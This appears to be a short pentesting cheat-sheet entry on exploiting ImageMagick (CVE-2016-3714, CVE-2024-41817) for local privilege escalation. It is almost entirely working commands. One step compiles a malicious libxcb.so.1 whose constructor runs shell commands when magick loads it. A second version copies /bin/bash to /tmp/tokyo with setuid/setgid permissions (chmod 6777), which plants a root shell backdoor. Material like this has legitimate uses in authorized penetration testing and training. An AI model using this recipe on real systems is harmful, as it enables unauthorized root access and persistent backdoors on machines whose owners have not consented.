ImageMagick

Check Version
magick -version
CVE-2016-3714
CVE-2024-41817

Read about the POC

Build the shared library
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("id");
    exit(0);
}
EOF
Check that running magick runs id
magick /dev/null /dev/null
Replace id with a copy of bash
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /bin/bash /tmp/tokyo; chmod 6777 /tmp/tokyo");
    exit(0);
}
EOF
In case you need to wait
sleep 45; ls -l /tmp/tokyo

Last updated